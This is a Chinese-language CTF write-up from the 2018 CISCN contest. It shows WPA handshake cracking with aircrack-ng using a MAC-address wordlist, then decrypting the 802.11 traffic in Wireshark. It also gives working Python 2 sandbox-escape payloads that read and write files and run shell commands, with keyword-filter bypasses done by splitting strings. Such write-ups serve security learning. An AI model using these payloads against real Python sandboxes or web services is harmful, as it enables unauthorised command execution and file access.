2018 国赛ciscn writeup

前言

  不想吐槽了,谁做谁知道,这篇文章只是记录下一些tips

寻找入侵者

1
2
黑客使用无线钓鱼攻击一个SSID为“CyberPeace”的热点,但是我们的蜜罐系统捕获了他的数据包,并且已经得知他的握手包密码就是他的网卡地址。可是根据我们最新获得的情况,他又发送重连请求的Malformat Frame试图崩溃我们的无线路由器。
请从attack包中找到密码,并解开他的数据包,找到那条畸形数据。

  下载后有两个压缩包,一个是attack.pcapng,一个是hanshake.cap,按照题目的意思就是密码在attack.pcapng里的一个mac地址,然后用hanshake.cap验证该密码的正确性。那首先我们先去找一下密码,因为不会tshark,但是他能做的wireshark也能,可能就是实现的方式的效率问题。。。

  如何提取mac地址?在wireshark的操作如下:统计 –> 端点,打开后在Endpoint类型里勾上IEEE 802.11,就能出现如下画面:




  然后点击复制 –> 作为CSV就能将所有的mac地址提取出来,当然你还需要清理下数据,写个Python小脚本即可。

  将得到的密码本拿去验证一下:
1
aircrack-ng hanshake.cap -w password.txt


  最后得到密码。



  有了密码后我们就能解开hanshake.cap里的数据,这个跟前面用到过的解https的方式类似,都是需要导入秘钥。但IEEE 802.11的导入方式不同,因为是它用的是wpa/wpa2的加密方式,所以我们需要将秘钥转换成wpa-psk的格式,wireshark提供了这个工具:传送门。按照要求填入信息就能得到wpa-psk,如:



  拿到psk后,在wireshark里如下操作:
1
编辑  --->  首选项  --->  Protocols --->  IEEE 802.11







  这样我们就能看到数据包了,然后追踪流,比较可疑的是发现了一个key.rar




  因为是在线了,我们可以自己下下来看看,比赛的时候也止步于此了,因为下下来发现跟attack.pcapng差不多,而且报文还很多,就猜想flag可能不在这,然而看了writeup后才发现flag就在这个包,出题人真会玩,都到了这一步了,线索还不给得清晰点

  在那个key.pcap里搜索一下flag,就能出现了,但因为比赛结束停止了提交,而且其他博客又没有放出flag,所以就自己熟悉一下好了。
1
wlan matches "flag"




RUN

  其实我最想记录的是这道题,这是道python沙箱逃逸。比较有趣,以前也没接触过,网上找了一些payload但都因为绕不过关键字而被ban掉。

  因为它过滤了一些危险函数,比如:os、sys等,但我们可以通过类的继承关系找到被ban掉的库,然后将它导入进来。我们可以先看一下payload的前半部分:

1
().__class__.__bases__[0].__subclasses__()

  从代码上我们比较好理解,就是从()找到它的父类也就是__bases__[0],而这个父类就是Python中的根类<type 'object'>,它里面有很多的子类,包括file等,这些子类中就有跟os、system等相关的方法,所以,我们可以从这些子类中找到自己需要的方法。

  知道了上面的基础后,我们可以找到一些payload,比如:

1
2
3
4
5
6
7
8
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

  但这道题的突破点是在获得类的属性上,从网上找的payload中存在一些被ban掉的关键字,如func_globals中存在ls,这也是做题时卡着的地方。而这些都可以用__getattribute__进行突破,它的用法如下:




  可以看到通过__getattribute__我们可以传字符串来进行方法的调用,这就是我们需要的,然后我们将网上找的payload改造一下:
1
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['popen']('l'+'s').read()

  因为它没有回显,所以我们只能通过print来获得返回的信息。最终我们拿到flag。在网上找的时候看到了另一种获得方法的函数:

1
getattr(().__class__.__bases__[0].__subclasses__()[59]().__module.__builtins__['__import__']('o'+'s'), 's'+'yst'+'em')('ls')

  它是通过getattr()来实现的,但在本题的环境中这个payload并不能用。相关的参考链接:

  https://blog.csdn.net/qq_35078631/article/details/78504415
  
  
  
  
  
  
  

# CTF

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×